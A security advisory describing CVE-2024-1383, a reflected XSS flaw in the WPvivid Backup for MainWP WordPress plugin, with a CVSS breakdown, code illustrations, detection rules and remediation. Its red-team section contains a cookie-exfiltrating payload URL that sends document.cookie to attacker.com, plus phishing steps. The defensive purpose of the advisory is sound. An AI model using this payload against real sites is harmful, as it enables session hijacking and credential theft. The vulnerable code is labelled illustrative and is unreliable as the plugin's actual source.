CVE-2024-1383

Executive Summary

CVE-2024-1383 is a reflected Cross-Site Scripting (XSS) vulnerability affecting the WPvivid Backup for MainWP plugin for WordPress, up to and including version 0.9.32. The flaw resides in insufficient input sanitization and output escaping of the id parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to potential session hijacking, credential theft, or defacement. The CVSS score of 6.1 (Medium) reflects the low complexity and network-based attack vector, though the EPSS score of 0.0% suggests low active exploitation in the wild. No official patch has been confirmed, and CVE-2024-35664 is likely a duplicate.

WordPress Ecosystem Context

This vulnerability is specific to the WPvivid Backup for MainWP plugin, a component of the WordPress ecosystem. It is not related to Apache or Nginx server software. The plugin extends MainWP, a popular WordPress management dashboard, making it a high-value target for attackers seeking to compromise multiple sites via a single plugin flaw.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): Required (R) – Victim must click a link.
• Scope (S): Changed (C) – Impact extends beyond vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited script injection.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS is 6.1, the lack of public exploits and low EPSS score reduce immediate risk. However, the plugin’s integration with MainWP amplifies potential blast radius.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the id parameter of the WPvivid Backup for MainWP plugin. The plugin fails to sanitize user-supplied input before reflecting it in HTTP responses. An attacker crafts a malicious URL containing JavaScript payloads in the id parameter. When a victim (e.g., a WordPress admin) clicks the link, the script executes in the context of the victim’s session, allowing actions like stealing cookies, modifying settings, or exfiltrating data.

Root Cause: The plugin uses $_GET['id'] without proper validation or escaping. For example, a vulnerable endpoint might echo the parameter directly into a JavaScript context or HTML attribute.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /wp-admin/admin.php?page=wpvivid-mainwp&id=<script>alert(1)</script>).
2. Attacker crafts a phishing email or social engineering message with the malicious link.
3. Victim clicks the link while authenticated to WordPress.
4. The injected script executes, potentially stealing session tokens or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (<= 0.9.32):

// Example vulnerable snippet
$id = $_GET['id'];
echo "<input type='hidden' name='id' value='" . $id . "'>";

Patched Code (Hypothetical):

// Properly sanitized
$id = sanitize_text_field($_GET['id']);
echo "<input type='hidden' name='id' value='" . esc_attr($id) . "'>";

The patch uses sanitize_text_field() to strip malicious input and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with WPvivid Backup for MainWP plugin <= 0.9.32.
• Victim user with admin privileges.

Exploit Payload:

http://target.com/wp-admin/admin.php?page=wpvivid-mainwp&id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Host a listener on attacker.com to capture cookies.
2. Send the crafted link to the victim via email or social engineering.
3. Once clicked, the script executes and exfiltrates the victim’s session cookie.

Blue Team (Defense & Detection)

Detection:

• Monitor web logs for suspicious id parameter values containing <script>, onerror=, or base64-encoded payloads.
• Use WAF rules to block reflected XSS patterns.

Mitigation:

• Apply input validation and output escaping (see Remediation).
• Restrict access to admin pages via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin.php?page=wpvivid-mainwp&id= with script tags or event handlers.
  • Outbound connections to unknown domains from WordPress admin sessions.
• File IOCs:
  • Modified .htaccess or wp-config.php files (post-exploitation).
• Log IOCs:
  • Repeated 404 errors on non-existent plugin pages.
  • Unusual user agent strings in admin area logs.

Detection Engineering

YARA Rule

rule CVE_2024_1383_WPvivid_XSS {
    meta:
        description = "Detects reflected XSS attempts against WPvivid Backup for MainWP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1383"
    strings:
        $payload1 = /id=[^&]*<script/i
        $payload2 = /id=[^&]*onerror=/i
        $payload3 = /id=[^&]*onload=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against WPvivid Backup for MainWP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts via the 'id' parameter in WPvivid Backup for MainWP
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "page=wpvivid-mainwp&id="
        cs-uri-query|re: 
            - "(<script|onerror=|onload=)"
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1383 WPvivid Backup for MainWP Reflected XSS"; flow:to_server,established; content:"page=wpvivid-mainwp&id="; http_uri; pcre:"/(<script|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Educate users about phishing links targeting admin pages.

Long-Term Fix:

• Apply input sanitization (sanitize_text_field()) and output escaping (esc_attr(), esc_html()) to all user-supplied parameters.
• Update to the latest version once a patch is released (monitor WPvivid’s changelog).

Workaround:

• Use a security plugin like Wordfence to add virtual patching for XSS.

Valters IT – DevSecOps & Cyber Threat Intelligence